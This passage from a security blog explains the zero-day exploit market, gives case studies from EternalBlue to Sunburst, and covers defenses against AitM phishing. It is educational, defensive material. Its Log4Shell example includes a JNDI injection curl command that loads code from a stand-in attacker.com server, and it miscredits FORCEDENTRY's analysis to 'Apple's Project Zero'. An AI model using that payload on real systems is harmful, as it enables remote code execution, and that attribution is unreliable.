Intelligence Agencies: The Gray Market Nation-states purchase zero-day exploits through direct contracts with private companies and through brokers. Key players: **Zerodium** (US-based): Publicly lists acquisition prices and re-sells to government customers. Their 2024 price list included: - iOS zero-click remote jailbreak: $2,500,000 - Android zero-click: $2,500,000 - Chrome/Safari full chain with sandbox escape: $500,000 - Microsoft Office/365 RCE: $500,000 - Windows local privilege escalation: $400,000 These prices represent what Zerodium will pay researchers. They sell to government customers at a markup. The buyers: NSA, CIA, GCHQ, BND, DGSE, and equivalent agencies worldwide. **Crowdfense** (UAE): Similar broker model with similar or higher acquisition prices. **NSO Group** (Israel): Develops and sells end-to-end surveillance capability (not just exploits) to government customers. Pegasus is their flagship product: a full mobile device surveillance platform built on zero-day iOS and Android exploits. **The argument for this market:** Intelligence agencies have legitimate needs for offensive cyber capabilities. Stockpiling zero-days for authorized intelligence collection is legal in most jurisdictions and arguably necessary for national security missions. **The counter-argument:** Government-stockpiled zero-days have repeatedly leaked. EternalBlue (NSA) caused WannaCry and NotPetya. The Vault 7 CIA toolset leaked via WikiLeaks. Every government zero-day stockpile is a potential future catastrophic disclosure. ### Underground Markets: The Criminal End On darknet forums, private Telegram channels, and through brokers who don't ask about buyers' intentions: **Exploit pricing in underground markets (2024-2025 observed listings):** - Pulse Secure VPN RCE (0-day): $1.2 million - Fortinet FortiGate zero-day: $800,000 - VMware ESXi zero-day: $600,000 - Windows kernel LPE (zero-day): $200,000-$400,000 - Active Directory attack chain with persistence: $150,000-$300,000 - Chrome 0-day (renderer only, no sandbox escape): $100,000 Ransomware affiliates use N-days (not zero-days: the cost is prohibitive for most ransomware groups). The exception: sophisticated, well-funded groups like ALPHV/BlackCat have been observed using exploits close to zero-day timeline. The economics require a target with a sufficiently large ransom potential to justify the tool cost. --- ## Case Studies: Zero-Days That Changed History ### EternalBlue (MS17-010): The Most Consequential Leaked Zero-Day **What it was:** A critical remote code execution vulnerability in Windows' SMBv1 (Server Message Block) protocol implementation. Any Windows machine with SMB exposed on port 445 could be compromised without authentication: no user interaction, no credentials, no foothold required. **Who found it:** The NSA's Tailored Access Operations (TAO) group. They developed a working exploit called EternalBlue and kept it classified for an estimated 5 years, using it against intelligence targets. **How it leaked:** In August 2016, a group calling themselves "The Shadow Brokers" began releasing NSA hacking tools. In April 2017, they released EternalBlue publicly. The consensus attribution: the Shadow Brokers obtained EternalBlue after NSA operators accidentally left it on a staging server that was later compromised by another nation-state actor (likely Russia). **Microsoft's response:** Microsoft released MS17-010 patching the SMBv1 vulnerability on March 14, 2017: one month before the Shadow Brokers released EternalBlue publicly. **What happened after:** *WannaCry (May 12, 2017):* The Lazarus Group (North Korea) deployed a ransomware worm using EternalBlue. Infected 200,000+ machines across 150 countries in 72 hours. The UK's NHS was devastated, hospitals diverted ambulances, operations were cancelled, doctors resorted to pen and paper. Total estimated global damage: $4-8 billion. WannaCry had a design flaw (a killswitch domain that researcher Marcus Hutchins registered) that limited its spread; without it, the damage would have been far greater. *NotPetya (June 27, 2017):* Russia's GRU deployed what appeared to be ransomware but was actually a destructive wiper designed to destroy data rather than extract ransom. Primary target: Ukraine. Collateral damage: global. The shipping company Maersk lost all its data, requiring complete IT infrastructure rebuild, 45,000 PCs, 4,000 servers, 2,500 applications. Total cost to Maersk alone: $300 million. Global total: estimated $10 billion: the costliest cyberattack in history at the time. **What EternalBlue teaches us:** Government zero-day stockpiles are liabilities. The NSA knew about MS17-010, chose not to disclose it for years, and when it leaked, the resulting tools caused more damage than any disclosed vulnerability in history. The patch was available for a month before WannaCry: the damage was entirely due to organizations that hadn't applied a critical patch in time. ### Log4Shell (CVE-2021-44228): Universal Exposure Meets Trivial Exploitation **What it was:** A remote code execution vulnerability in Log4j 2, a Java logging library so widely embedded in enterprise software that CISA Director Jen Easterly called it "the most serious vulnerability I have seen in my decades-long career." **The technical detail:** Log4j 2's "message lookup substitution" feature allowed the library to perform JNDI (Java Naming and Directory Interface) lookups when it logged certain strings. If an attacker could get a vulnerable application to log a string like `${jndi:ldap://attacker.com/exploit}`, Log4j would make an outbound connection to the attacker's LDAP server and load and execute a Java class returned by that server. Remote code execution with nothing more than getting text logged. **Discovery and disclosure:** Alibaba Cloud security researcher Chen Zhaojun privately reported the vulnerability to Apache on November 24, 2021. A patch was published December 10, 2021. By then, proof-of-concept code was already circulating. Within hours of public disclosure, mass exploitation began. **Who exploited it and when:** - Nation-state actors (Iranian, Chinese, North Korean, Russian) within days - Ransomware affiliates (Conti, TellYouThePass) within a week - Crypto miners within hours - Over 100 distinct threat actors within two weeks of disclosure **The scale problem:** Log4j is a transitive dependency, thousands of applications include it not directly but through other libraries. Many organizations had no software bill of materials and didn't know which of their applications used Log4j. The remediation effort required discovering affected systems, not just patching them. **Technical exploitation example:** ```bash # The simplest possible Log4Shell payload # Any field that gets logged is a potential injection point: # - HTTP headers (User-Agent, X-Forwarded-For, Referer) # - Login form fields (username, email) # - Search queries # - Custom HTTP headers # - API parameters # Set up a JNDI server on attacker-controlled infrastructure # python3-based marshalsec or JNDIExploit java -jar JNDIExploit.jar -i attacker.com -p 8888 # The payload — sent as the User-Agent header: curl -H 'X-Api-Version: ${jndi:ldap://attacker.com:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZA==}' \ https://vulnerable.target.com/ # Base64 decodes to: touch /tmp/pwned # When the server logs the X-Api-Version header, Log4j processes the JNDI string # The server connects to attacker.com, loads and executes the Java class # In this case, creates /tmp/pwned — demonstrating RCE ``` **Defender's lesson:** A critical vulnerability in a single widely-used library can affect thousands of applications simultaneously, including applications whose vendors weren't aware they used the library. Software supply chain visibility (SBOM) is not optional: you cannot remediate what you can't inventory. ### Pegasus (NSO Group): Commercial Zero-Click Surveillance at Scale **What it is:** Pegasus is a full-featured mobile surveillance platform sold by Israeli firm NSO Group to government customers. It has, over its operational life, exploited iOS and Android vulnerabilities including: - **Trident (2016):** Three chained iOS zero-days (CVE-2016-4655, CVE-2016-4656, CVE-2016-4657) allowing remote jailbreak via a malicious link. Discovered when UAE human rights defender Ahmed Mansoor received a suspicious SMS. - **KISMET (2020):** iOS zero-click vulnerability in iMessage's IMAGIO library. No user interaction required. - **FORCEDENTRY (CVE-2021-30860):** iOS zero-click vulnerability in the JBIG2 image compression decoder. Exploited using a PDF-based attack delivered via iMessage. The technical sophistication: the exploit used a logic bug in JBIG2's compression algorithm to construct a primitive that allowed arbitrary memory writes, ultimately achieving code execution. Apple's Project Zero team described it as "one of the most technically sophisticated exploits we've ever seen." **Documented targets:** - Journalists (including Jamal Khashoggi associates, Jeff Bezos) - Human rights defenders - Opposition politicians - Heads of state (Emmanuel Macron's phone was on a list of Pegasus targets) - Lawyers representing Pegasus victims **Detection (after the fact):** Amnesty International's Security Lab developed MVT (Mobile Verification Toolkit) for iOS and Android forensics: ```bash # Install MVT pip3 install mvt # For iOS — requires a full device backup mvt-ios check-backup --iocs ~/stix2/pegasus.stix2 /path/to/ios/backup # For iOS filesystem (requires jailbroken device or advanced extraction) mvt-ios check-fs --iocs ~/stix2/pegasus.stix2 /path/to/extracted/filesystem # For Android — ADB-based analysis adb backup -apk -shared -all -f android_backup.ab mvt-android check-adb --iocs ~/stix2/pegasus.stix2 # IOC feeds for Pegasus # Citizen Lab maintains a list of known Pegasus domains/infrastructure # https://github.com/AmnestyTech/investigations — Amnesty IOC repository ``` **What Pegasus demonstrates:** A sufficiently funded, motivated adversary with zero-click zero-days can compromise any device regardless of security hygiene. There is currently no reliable defense against a zero-click zero-day attack from a nation-state-level adversary targeting your specific device. The controls below reduce risk but cannot eliminate it at this threat tier. ### SolarWinds Orion (Sunburst): Build Pipeline Supply Chain Attack **What it was:** Not a zero-day in the traditional sense, but a supply chain attack that effectively created a zero-day for every organization using SolarWinds Orion software. Russian intelligence (SVR, tracked as APT29/Cozy Bear) compromised SolarWinds' software build pipeline and injected backdoored code (Sunburst) into the Orion software update. The trojanized update was cryptographically signed by SolarWinds and distributed through their official update mechanism. **Timeline:** - October 2019: SVR first compromises SolarWinds build environment (test run) - March 2020: Malicious code injected into Orion build - March-June 2020: Sunburst-infected Orion 2020.2 distributed to 18,000+ customers - December 13, 2020: FireEye discovers the backdoor (only because they noticed their own tools being exfiltrated) - December 13, 2020: Emergency disclosure to US government and public **What Sunburst did:** ```python # Simplified representation of Sunburst's behavior # Actual code was significantly obfuscated # 1. Wait 12-14 days after installation before any C2 contact (avoid sandbox detection) import time time.sleep(random.randint(12 * 86400, 14 * 86400)) # 2. Check environment — don't run if security tools present import subprocess blocked_processes = ['windbg.exe', 'wireshark.exe', 'fiddler.exe', 'processhacker.exe'] for proc in blocked_processes: if proc in running_processes(): exit() # 3. Check domain — if machine is on a security company's domain, don't run # This prevented accidental sandbox triggering at security vendors blocked_domains = ['palo alto', 'fireeye', 'crowdstrike', 'dhl', 'cisco'] # 4. Initial DNS beacon for C2 communication # Encoded hostname information in DNS queries to avsvmcloud.com (the C2 domain) # DNS was chosen because it passes through most firewalls silently # The encoded data included victim domain name — used to triage targets # 5. After initial triage, only targeted high-value victims received follow-on tools ``` **Confirmed victims:** US Treasury, Commerce Department, State Department, DHS, NSC, parts of the Pentagon, Microsoft, VMware, FireEye, Intel, Cisco, Deloitte, and approximately 100 others specifically targeted (of 18,000 who installed the backdoor). **Estimated cost:** $100 billion across all affected organizations when including incident response, remediation, and security upgrades. --- ## Defensive Strategy: What You Can Actually Do The uncomfortable truth: if a sophisticated nation-state is targeting your specific organization with a zero-click zero-day, the controls below are insufficient. You are not going to out-defend the NSA when they have a $2.5 million iOS exploit chain. Accept this and focus your defenses on what's actually achievable. What's achievable: ### 1. Treat N-Days Like Zero-Days: Immediate Patching The Equifax breach was 66 days after a publicly available patch. The Colonial Pipeline ransomware was an N-day VPN vulnerability. The majority of zero-day exploitation you'll see in practice is actually mature N-day exploitation against organizations that haven't patched. ```bash # Subscribe to CISA's Known Exploited Vulnerabilities (KEV) catalog # This is the definitive "patch this now" list — vulnerabilities confirmed in active exploitation curl https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json | \ jq '.vulnerabilities | sort_by(.dateAdded) | reverse | .[0:10] | .[] | {cveID, vulnerabilityName, dateAdded, dueDate}' # Check your environment against the KEV catalog # nuclei has a KEV tag nuclei -l targets.txt -t cves/ -tags kev -severity critical,high # Priority patching order: # 1. Internet-facing systems (VPN, firewalls, web applications, email gateways) # 2. Privileged systems (domain controllers, jump servers, backup infrastructure) # 3. Endpoint systems # 4. Internal servers # Target patch timelines by severity: # Critical KEV: 24-72 hours for internet-facing systems # Critical non-KEV: 7 days for internet-facing # High severity: 14-30 days # Medium: 30-90 days ``` ### 2. Endpoint Detection and Response (EDR) Zero-day exploits execute code, but that code has to do something observable: spawn processes, write files, make network connections, inject into other processes, modify registry keys. EDR platforms monitor these behaviors and flag anomalies. ``` Behavioral patterns EDR catches even for zero-day exploits: - Browser renderer process spawning cmd.exe or powershell.exe - Word/Excel spawning network connections - A typically-silent process making outbound connections - Legitimate process reading LSASS memory (credential theft) - Process injecting into another process's memory - Unsigned executables running from temp directories - Living-off-the-land binaries used in unusual contexts (e.g., certutil downloading payloads) ``` **Modern EDR platforms:** CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, Palo Alto Cortex XDR. All use behavioral detection + machine learning, not signature databases. All stop the vast majority of commodity malware and many sophisticated attacks. **What EDR doesn't stop:** Nation-state operators who have specifically researched and tested against your EDR platform develop tradecraft specifically to avoid behavioral detection. The vendors counter, the attackers adapt. It's an arms race. EDR shifts the equation toward the defender but doesn't guarantee protection. ### 3. Zero Trust Architecture Zero trust eliminates the assumption that anything inside your network perimeter is safe. Every access request is authenticated, authorized, and verified regardless of origin. ``` Zero trust principles applied to zero-day defense: [Identity verification] └── Multi-factor authentication for all user access └── Device trust validation (MDM enrollment, health attestation) └── Phishing-resistant MFA (FIDO2/WebAuthn keys, not SMS or TOTP) [Least privilege] └── Users have access only to systems they need for their role └── Service accounts have only necessary permissions └── Just-in-time access for privileged operations └── No standing admin access to sensitive systems [Network segmentation] └── East-west traffic restricted between segments └── No flat internal network that an initial compromise can pivot across └── Workstations can't directly reach servers └── Servers can't directly reach domain controllers without explicit policy [Continuous verification] └── Session re-authentication for sensitive actions └── Anomaly detection on user behavior └── Device health checked per request (EDR status, patch level) ``` **Why zero trust limits zero-day blast radius:** If an attacker compromises a workstation via a browser zero-day, zero trust limits what that compromised workstation can reach. Without a flat internal network, lateral movement to domain controllers, databases, and backup systems requires additional exploitation steps: each of which generates observable signals. ### 4. Attack Surface Reduction You cannot exploit a service that doesn't exist. Every unnecessary service, port, and feature is a potential zero-day delivery mechanism. ```bash # Audit internet-facing attack surface from outside your network # Use Shodan/Censys to see what you look like to an attacker shodan search "org:\"Your Organization Name\"" # Review everything returned — every exposed service is a zero-day risk # Check for: # - Old VPN versions (Pulse Secure, Fortinet, Citrix — all had critical 0-days) # - Remote desktop exposure (RDP on 3389 directly to internet = risk) # - Legacy protocols (FTP, Telnet, RDP without NLA) # - Development and test systems exposed to internet # - Forgotten applications on non-standard ports # - Kubernetes dashboards, Grafana, Jenkins without authentication # Attack surface reduction actions: # - Disable SMBv1 everywhere (EternalBlue) # - Remove EOL systems from network or isolate them # - Put VPNs and remote access behind MFA # - Close all ports except required ones # - Remove unused services from internet-facing systems # - Implement application allowlisting on critical systems ``` ### 5. Threat Intelligence Integration Threat intelligence converts external knowledge about how attackers operate into detection capability before they reach you. ```bash # Subscribe to threat intelligence feeds # CISA: https://www.cisa.gov/topics/cyber-threats-and-advisories # Microsoft MSTIC blog: https://www.microsoft.com/en-us/security/blog/ # Google Mandiant blog: https://www.mandiant.com/resources/blog # CrowdStrike Adversary Intelligence: https://www.crowdstrike.com/blog/ # Palo Alto Unit42: https://unit42.paloaltonetworks.com/ # MITRE ATT&CK Navigator — visualize what techniques threat actors targeting your sector use # https://mitre-attack.github.io/attack-navigator/ # Load a group (e.g., APT28, Lazarus Group) and see their TTP profile # Map your current detections to identify coverage gaps # OpenCTI — open-source threat intelligence platform for your own instance # Ingests STIX/TAXII feeds, links indicators, maps to ATT&CK docker-compose up -d # Start OpenCTI stack # MISP — Malware Information Sharing Platform # Community-driven IOC sharing # Connect to CIRCL, FS-ISAC, and sector-specific sharing communities ``` ### 6. Isolation and Containment Architecture ``` Browser isolation: separate web browsing from the endpoint OS ├── Legitimate vectors for zero-day delivery: browser rendering engine bugs ├── Browser isolation: browsing happens in a remote container or VM ├── If browser is compromised, the attacker has a container/VM, not the endpoint └── Commercial solutions: Menlo Security, Ericom Shield, Authentic8 Silo Email attachment isolation: ├── Detonate attachments in a sandbox before delivering to the end user ├── Strip active content from PDFs and Office documents └── Solutions: Perception Point, Proofpoint Targeted Attack Protection, Mimecast Application allowlisting: ├── Only approved executables can run on endpoints ├── Zero-day payloads are unsigned, not on the allowlist → blocked └── Solutions: CrowdStrike, Carbon Black, Microsoft AppLocker, Airlock Digital ``` --- ## The Realistic Threat Model Be honest about who you are and who's coming for you: **Nation-state zero-day attacks target:** - Defense contractors and cleared facilities - Critical infrastructure operators (energy, water, financial) - Pharmaceutical and biotech (IP theft) - Journalists and dissidents (Pegasus-type campaigns) - Government agencies and their supply chain **If you're in one of those categories:** The controls above are mandatory, not aspirational. You should also consult CISA's emergency directives, engage with your sector's ISAC (Information Sharing and Analysis Center), consider a government-partnered threat intelligence relationship, and conduct red team exercises that specifically test zero-day-equivalent scenarios (assume breach with a fully patched system). **If you're not:** Your realistic threat is a ransomware affiliate running a scan for unpatched Fortinet or Ivanti appliances, finding your VPN, and deploying Medusa or Play ransomware. This is not a zero-day attack. It is an N-day attack against a vulnerable internet-facing system. Your defense is: patch the VPN, put MFA in front of remote access, deploy EDR on endpoints, segment your network so ransomware can't reach backup systems. The irony of zero-days is that they dominate the security industry's imagination while N-days dominate its incident response queue. The skill required to exploit a zero-day is orders of magnitude higher than the skill required to exploit an unpatched Citrix ADC or SolarWinds Serv-U. The economics of ransomware favor the lazier approach: find the unpatched appliance, mass deploy the ransomware, wait for the Bitcoin. Defend against what's actually coming for you. Patch your systems, enforce MFA, deploy EDR, segment your network. These controls will stop or slow 95% of actual attacks. The remaining 5% requires additional controls and, ultimately, a capable incident response function, because against a sufficiently motivated nation-state adversary with adequate resources, the question is not "if" but "when you detect them and how quickly you can contain and recover." For a longer view on how this threat landscape evolves, read our outlook on [where security is headed](/cybersecurity-next-10-years). ## Zero-Day Versus N-Day: A Side-by-Side Comparison The two terms describe adjacent stages of the same lifecycle, and confusing them leads to misallocated defense budgets. A zero-day is unknown to the vendor and has no patch. An N-day is publicly known, has a patch available, and remains dangerous only because organizations have not deployed that patch yet. | Property | Zero-day | N-day | |---|---|---| | Vendor aware | No | Yes | | Patch available | No | Yes | | Typical attacker | Nation-state, elite broker buyer | Ransomware affiliate, commodity actor | | Cost to obtain | Hundreds of thousands to millions | Free, often a public proof of concept | | Skill required | Very high | Low to moderate | | Primary defense | Attack surface reduction, EDR, zero trust | Fast patching of internet-facing systems | | Share of real incidents | Small | Large | The strategic implication is that most organizations should spend the majority of their effort on the N-day column. The exploitation you are statistically most likely to face is a scan for an unpatched VPN or firewall appliance followed by a known exploit, mapped to MITRE ATT&CK technique T1190 (Exploit Public-Facing Application). CISA's Known Exploited Vulnerabilities catalog exists precisely to tell you which N-days are being used in the wild right now. ## Detection Signals: What Exploitation Looks Like You cannot signature a zero-day you have never seen, so detection has to focus on what an exploit does after it lands rather than on the exploit itself. The observable behaviors are consistent across exploit families. A rendering process such as a browser tab or a document viewer spawning a command interpreter is a strong signal, because office applications and browsers have no legitimate reason to launch a shell. Outbound connections from a process that is normally silent, unsigned executables running from temporary directories, a process reading another process's memory (particularly LSASS on Windows), and living-off-the-land binaries like certutil or mshta used to fetch remote content all indicate post-exploitation activity. On the network side, a beacon that phones home on a regular interval to a newly registered or reputation-poor domain is a classic command-and-control signal that survives even when the initial exploit is invisible. Time-based anomalies matter too. Sunburst waited nearly two weeks before its first callout specifically to defeat sandbox analysis, so a dormant component that activates long after installation is itself suspicious. The defensive lesson is that behavioral EDR and outbound traffic baselining catch what signature matching cannot. ## Common Misconceptions The first misconception is that zero-days drive most breaches. They dominate headlines because of their glamour and price, yet the incident response queue is filled with N-day exploitation of systems that had a patch available for weeks or months. The second is that patching is irrelevant against zero-days. Aggressive patching eliminates the N-day footholds that most attackers actually use, which shrinks your exposure to the small population of true zero-days and lets your detection team focus on that harder problem. The third is that a proof of concept equals a weaponized exploit. Turning a crash into reliable, repeatable code execution across target configurations is significant engineering work, which is part of why weaponized exploits command such high prices. The fourth is that government stockpiling of zero-days is a purely offensive advantage. Stockpiled exploits are also liabilities, because a leaked capability like EternalBlue can cause more global damage than any responsibly disclosed vulnerability, and every stockpile is a potential future disclosure. ## How the Zero-Day Market Evolved The trade in software flaws grew from an informal exchange among researchers into a structured, multi-tier market. In the early years, discovered bugs were often disclosed to vendors for free or traded quietly for reputation. Two forces professionalized it. Vendors introduced bug bounty programs that put a public, legal price on responsible disclosure, which pulled many researchers toward the defensive side. At the same time, governments and brokers created a lucrative gray market, with firms publishing acquisition price lists and reselling capabilities to state customers at a markup. Commercial surveillance vendors then packaged exploits into turnkey products, selling complete device-compromise platforms rather than raw bugs, which lowered the skill required of the end customer and widened the pool of actors able to run sophisticated operations. The result today is a spectrum that runs from clean bug bounties through gray-market brokers to outright criminal forums, with the same underlying vulnerability worth wildly different amounts depending on which channel it flows through. ## Related guides - [Incident Response 101: From Detection to Recovery](/incident-response-101) - [Network Security Fundamentals: Firewalls, VPNs, and Zero Trust](/network-security-fundamentals) - [Cloud Security Fundamentals](/cloud-security-fundamentals) - [Anatomy of a Ransomware Attack](/ransomware-anatomy) - [OWASP Top 10 Explained with Examples](/owasp-top-10-explained) - [Log4Shell Explained](/log4shell-explained) ### Sources - CISA Known Exploited Vulnerabilities Catalog (CISA): https://www.cisa.gov/known-exploited-vulnerabilities-catalog - MITRE ATT&CK: Exploit Public-Facing Application (MITRE ATT&CK): https://attack.mitre.org/techniques/T1190/ - NVD: National Vulnerability Database (NIST): https://nvd.nist.gov/ --- # Category: phishing ## AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA > How adversary-in-the-middle phishing kits like Evilginx, EvilProxy and Tycoon 2FA steal session cookies after MFA, and the controls that stop them. - URL: https://blog.pwnsy.com/aitm-phishing-explained - Date: 2026-10-02 - Updated: 2026-10-02 - Difficulty: intermediate - Category: phishing - Tags: aitm-phishing, phishing, mfa-bypass, session-hijacking, passkeys - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Browser Hardening Guide: Extensions, Settings and Session Theft](https://blog.pwnsy.com/browser-hardening-guide), [FIDO2 vs WebAuthn vs Passkeys: What Each Name Means](https://blog.pwnsy.com/fido2-vs-webauthn-vs-passkeys) ### TL;DR - An adversary-in-the-middle (AitM) phishing page is a reverse proxy that sits between the victim and the real login page, relaying every request and response in real time. - The victim completes a genuine sign-in, including MFA, and the proxy keeps a copy of the session cookie the real site issues at the end. The attacker replays that cookie and skips authentication entirely. - Codes and push approvals pass straight through the proxy. FIDO2 security keys and passkeys stop the attack because the browser binds each signature to the domain it is actually on. - Device compliance in conditional access, token binding and sign-in risk detections such as Microsoft Entra's Attacker in the Middle alert cover the gap while phishing-resistant MFA rolls out. ### Key Takeaways - Microsoft Threat Intelligence reported in 2022 that one AitM campaign built on Evilginx2 targeted more than 10,000 organisations, with follow-on payment fraud starting as little as five minutes after the cookie was stolen. - Proofpoint found that at least 35% of the users compromised in an EvilProxy campaign against executives had MFA enabled. - Phishing-as-a-service made AitM cheap: Sekoia documented Tycoon 2FA from USD 120 for 10 days and Mamba 2FA at USD 250 for 30 days, both sold through Telegram. - Barracuda attributed 89% of the phishing-as-a-service incidents it saw in January 2025 to Tycoon 2FA, and Microsoft and Europol seized 330 of its domains on 4 March 2026. - The response to a confirmed AitM sign-in is session revocation plus a review of new MFA methods and inbox rules, because a password reset alone leaves the stolen session alive. Classic phishing steals a password. Adversary-in-the-middle phishing steals the finished login. The victim types their password, approves their MFA prompt, lands in their real mailbox, and never sees anything wrong. Meanwhile the attacker holds a copy of the session that the login produced and can open the same mailbox from their own machine. This guide explains how the technique works, why most MFA passes straight through it, which controls stop it, and what it looks like in sign-in logs. Our [phishing overview](/what-is-phishing) covers the wider family of lures, and the [two-factor authentication guide](/two-factor-authentication-guide) compares MFA methods in detail. ## How an AitM phishing page works An AitM page is a reverse proxy. Instead of hosting a fake copy of a login page, it fetches the real one and passes it to the victim, rewriting links so that every request goes back through the attacker's domain. The sequence, described from the defender's side: 1. **The lure.** An email, QR code, shared document or search ad sends the victim to a lookalike domain. 2. **The relay.** The proxy requests the real sign-in page from the identity provider and serves it to the victim. Branding, error messages and tenant logos are all genuine because they come from the genuine site. 3. **Credentials and MFA pass through.** The victim enters a password, then a code or a push approval. The proxy forwards each step to the real site as it happens. 4. **The real site issues a session.** Once authentication succeeds, the identity provider sets a session cookie in its response. The response travels back through the proxy, which records the cookie before handing the page to the victim. 5. **Replay.** The attacker loads the stolen cookie into a browser and is treated as an already-authenticated user. Microsoft Threat Intelligence summarised the effect in its 2022 analysis: the attacker obtains the session cookie and can "skip the authentication process, even if the target's MFA is enabled." The cookie replay step is the same one covered in our [session hijacking guide](/session-hijacking-explained). AitM is simply one of the most reliable ways to get the cookie. ### Why TOTP codes and push approvals do not help Time-based codes and push prompts prove that a person with the right phone approved this sign-in. They say nothing about which website the person was looking at. The proxy forwards a six-digit code within milliseconds, well inside the 30-second window, and a push approval is tied to the sign-in the proxy started on the victim's behalf. Number matching also passes through, because the number appears on the proxied page in front of the victim. SMS codes, voice calls, email codes and most push implementations share the same property. Duo's own security guide notes that standard Duo Push "does not protect against phishing proxy attacks." Proofpoint's EvilProxy research put a number on it: at least 35% of the users compromised in that campaign had MFA enabled. ## The kits: from open source to subscription The early tools were open-source research projects. Microsoft named three in its 2022 report, Evilginx2, Modlishka and Muraena, and found the campaign it tracked used Evilginx2. Commercial phishing-as-a-service (PhaaS) operators then packaged the same idea with hosting, templates and a control panel. | Kit | First documented | Model | Reported targets | Research | |---|---|---|---|---| | Evilginx2 | Open source | Self-hosted | Any web login with a template | Microsoft Threat Intelligence, 2022 | | EvilProxy | Commercial PhaaS | Point-and-click panel with bot detection and geofencing | Microsoft 365, Google and other cloud logins | Proofpoint, 2023 | | Tycoon 2FA | Active since at least August 2023 | Sold on Telegram from USD 120 for 10 days | Microsoft 365 and Gmail | Sekoia, 2024; Barracuda, 2025 | | Mamba 2FA | Used since November 2023 | USD 250 for 30 days via a Telegram bot | Microsoft 365 | Sekoia, 2024 | A few details from that research are worth knowing because they shape detection: - **Targeting is selective.** In Proofpoint's March to June 2023 EvilProxy campaign, about 120,000 emails reached hundreds of organisations, and roughly 39% of the confirmed victims were C-level executives. Traffic from Turkish IP addresses was sent to the legitimate page instead of the proxy. - **Persistence follows within minutes.** Proofpoint observed attackers adding their own authenticator app as a new MFA method on compromised accounts. Microsoft saw payment fraud start as little as five minutes after cookie theft, often with inbox rules to hide replies. - **Infrastructure rotates.** Sekoia counted more than 1,100 Tycoon 2FA domain names in use between late October 2023 and late February 2024. Mamba 2FA rotated its link domains weekly and, by October 2024, routed its relay servers through commercial proxies from IPRoyal. - **Kits resist analysis.** Barracuda's January 2025 analysis of an updated Tycoon 2FA described code obfuscation, blocking of penetration-testing tools, disabled right-click and keystroke monitoring that stops the page if someone opens developer tools. Scale grew accordingly. Barracuda counted more than a million PhaaS attacks in January and February 2025 and attributed 89% of the January incidents to Tycoon 2FA. Microsoft said that by mid-2025 Tycoon 2FA accounted for about 62% of the phishing attempts it blocked. On 4 March 2026, Microsoft, Europol and industry partners took down 330 domains that formed the core of Tycoon 2FA's infrastructure, with seizures by authorities in Latvia, Lithuania, Portugal, Poland, Spain and the United Kingdom. Microsoft said the service had been reaching more than 500,000 organisations a month. Domain seizures remove infrastructure. The technique remains available through other kits. ## What stops AitM ### Phishing-resistant MFA: FIDO2 and passkeys FIDO2 security keys and passkeys defeat the relay at the protocol level. When the browser asks the authenticator to sign a login challenge, it includes the origin it is actually on. A passkey registered for the real identity provider is scoped to that domain, so on a lookalike domain the browser will not offer it, and any signature produced would name the wrong origin and fail verification. The victim cannot hand over something that does not exist on the phishing page. Microsoft's 2022 guidance named FIDO2 and certificate-based authentication as the phish-resistant options. [Passkeys Explained](/passkeys-explained) covers the user experience and [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys) untangles the terms. The control only works when it is required. If an account can still fall back to SMS or a push prompt, the proxy can steer the victim to that weaker method. ### Device compliance and conditional access A conditional access policy that requires a managed, compliant device makes the replayed cookie less useful, because the attacker's browser runs on a device the tenant does not recognise. Microsoft lists compliant devices and trusted network locations as mitigations, and recommends requiring interactive phishing-resistant reauthentication for medium or higher sign-in risk. ### Token binding The longer-term fix is to make the session itself unusable on another machine. - **Token Protection in Microsoft Entra conditional access** accepts only refresh tokens cryptographically bound to the device they were issued to. Microsoft's documentation lists support for Windows native applications connecting to Teams, SharePoint and Exchange, with coverage still expanding. - **Device Bound Session Credentials (DBSC)** in Chrome binds a session cookie to a key held on the device. Google made it generally available in Chrome on Windows and announced on 28 May 2026 that it is on by default for Workspace and personal Google accounts. Both narrow the replay window. Neither yet covers every application or browser, so they complement phishing-resistant MFA without replacing it. ## Detection signals AitM sign-ins leave a recognisable pattern because the same session is used from two places within minutes. - **Impossible or atypical travel right after a successful sign-in.** The victim signs in from home, then the same session appears from another country or provider seconds or minutes later. - **A session that appears on an unfamiliar device.** The session cookie shows up with a browser, operating system or device ID that did not complete the original sign-in. - **Sign-ins from hosting providers and VPS ranges.** Proxies and replay browsers often run on cloud infrastructure. Mamba 2FA's switch to commercial proxies shows operators know this, so treat ASN as one signal among several. - **Lookalike domains in mail and proxy logs.** Recently registered domains that contain the brand name, plus redirect chains through legitimate services, often precede the sign-in. - **Fast post-login changes.** A new MFA method, new inbox rules, mailbox forwarding or OAuth app consent shortly after the first sign-in from a new location. In Microsoft Entra ID Protection, the relevant risk detections include: | Detection | What it flags | Licence and timing | |---|---|---| | Attacker in the Middle | An authentication session linked to a malicious reverse proxy; raises the user to high risk | Offline; Microsoft 365 E5 with EMS E5 | | Anomalous token | A session or refresh token with unusual lifetime, location, app or user agent, suggesting replay | Real-time or offline; Entra ID P2 | | Unfamiliar sign-in properties | New IP, ASN, location, device or browser for the user; Microsoft advises extra scrutiny on non-interactive sign-ins | Real-time; Entra ID P2 | | Impossible travel | Activity from distant locations faster than travel allows | Offline; requires Defender for Cloud Apps | | Suspicious inbox manipulation rules | Rules that delete or move messages after compromise | Offline; requires Defender for Cloud Apps | Microsoft Defender XDR adds the alerts "Stolen session cookie was used" and "Possible AiTM phishing attempt" when the relevant connectors are deployed. The attacker holds a session cookie, which keeps working until the session or its refresh token is revoked. Revoke all sessions first, then reset the password, then remove any MFA method or inbox rule the attacker added. ## How to defend against AitM phishing ### For organisations 1. **Require phishing-resistant MFA** (FIDO2 keys, passkeys, certificate-based authentication) for administrators first, then finance and executives, then everyone. Remove weaker fallbacks for those groups. 2. **Require compliant or managed devices** in conditional access for access to email and core SaaS. 3. **Enable token binding where supported**, such as Entra Token Protection for supported apps and DBSC for Google accounts in Chrome. 4. **Turn on risk-based policies** that force reauthentication or block access at medium and high sign-in risk, and route Attacker in the Middle and anomalous token detections to the SOC. 5. **Alert on post-login persistence**: new MFA registrations, inbox rules, forwarding and OAuth consents within an hour of a risky sign-in. 6. **Monitor for lookalike domains** of your brand and identity provider, and block newly registered domains at the mail and web gateway where practical. 7. **Rehearse the response**: revoke sessions, reset credentials, remove attacker MFA methods, then hunt for mail sent from 